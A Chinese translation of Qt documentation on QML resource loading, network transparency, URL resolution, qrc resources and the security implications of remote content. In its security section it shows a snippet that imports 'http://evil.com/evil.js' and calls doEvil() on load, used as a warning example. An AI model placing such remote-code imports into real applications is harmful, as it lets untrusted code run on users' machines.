资源加载与网络透明性
QML 通过在 QML 文档中引用其他内容时使用 URL(而非文件名)来支持网络透明性。这意味着,凡是预期使用 URL 作为来源的地方,QML 既能处理远程资源,也能处理本地资源,例如在以下图像来源中:
Image {
source: "http://www.example.com/images/logo.png"
}由于相对URL 与相对文件路径相同,因此在常规文件系统上开发 QML 依然非常简单:
Image {
source: "images/logo.png"
}QML 全面支持网络透明性,例如,FontLoader 和 Image 元素均支持从远程服务器加载资源。
甚至 QML 类型本身也可以位于网络上:如果使用qml 工具加载http://example.com/mystuff/Hello.qml ,而该内容引用了类型“World”,引擎将加载http://example.com/mystuff/qmldir 并解析该类型,就像处理本地文件一样。 例如,如果 qmldir 文件中包含一行“World World.qml”,它将加载http://example.com/mystuff/World.qml 。Hello.qml 引用的任何其他资源(通常通过相对 URL 引用)也将以类似方式从网络加载。这同样适用于与WorkerScript 一起使用的远程 JavaScript 文件。
警告:QML 和 JavaScript 资源必须仅从可信的远程位置加载,请参阅关于处理来自不可信来源的数据的注意事项。
相对 URL 与绝对 URL
当对象具有 URL 类型的属性(QUrl )时,向该属性赋值一个字符串实际上会赋值一个绝对 URL——系统会根据该字符串所在文档的 URL 来解析该字符串。
例如,考虑http://example.com/mystuff/test.qml 中的以下内容:
Image {
source: "images/logo.png"
}Image 的 source 属性将被赋值为http://example.com/mystuff/images/logo.png ,但在开发 QML 时(例如在C:\User\Fred\Documents\MyStuff\test.qml 中),它将被赋值为C:\User\Fred\Documents\MyStuff\images\logo.png 。
如果赋给 URL 的字符串已经是绝对 URL,则“解析”操作不会对其进行更改,该 URL 将被直接赋值。
QRC 资源
Qt 内置的 URL 方案之一是“qrc”方案。它允许通过Qt 资源系统将内容编译到可执行文件中。利用此方案,可执行文件可以引用已编译到其中的 QML 内容:
QQuickView *view = new QQuickView;
view->setUrl(QUrl("qrc:/dial.qml"));内容本身可以使用相对 URL,因此会透明地忽略该内容已被编译到可执行文件中的事实。
限制
只有包含“as”子句时,import 语句才具有网络透明性。
更具体地说:
import "dir"仅在本地文件系统上有效import libraryUri仅在本地文件系统上有效import "dir" as D支持网络透明操作import libraryUrl as U以网络透明方式工作
对应用程序安全的影响
QML 的安全模型将 QML 内容视为可信内容的链:用户安装可信的 QML 内容的方式,与安装原生 Qt 应用程序或使用 Python、Perl 等运行时编写的程序相同。这种信任通过多种机制建立,包括某些平台上提供的软件包签名功能。
为了维护用户的信任,QML 应用程序开发人员不应加载和执行任意的 JavaScript 或 QML 资源。例如,请看以下 QML 代码:
import QtQuick 2.0
import "http://evil.com/evil.js" as Evil
Component {
onLoaded: Evil.doEvil()
}这相当于下载并执行“http://evil.com/evil.exe”。QML 引擎不会阻止特定资源的加载。与在网页浏览器中运行的 JavaScript 代码不同,QML 应用程序可以像任何其他原生应用程序一样加载远程或本地文件系统资源,因此应用程序开发人员在加载和执行任何内容时必须格外谨慎。
与任何访问其控制范围之外内容的应用程序一样,QML 应用程序应对其加载的任何不受信任的数据进行适当的检查。例如,请勿使用import 、Loader 或XMLHttpRequest来加载任何不受信任的代码或内容。
© 2026 The Qt Company Ltd. Documentation contributions included herein are the copyrights of their respective owners. The documentation provided herein is licensed under the terms of the GNU Free Documentation License version 1.3 as published by the Free Software Foundation. Qt and respective logos are trademarks of The Qt Company Ltd. in Finland and/or other countries worldwide. All other trademarks are property of their respective owners.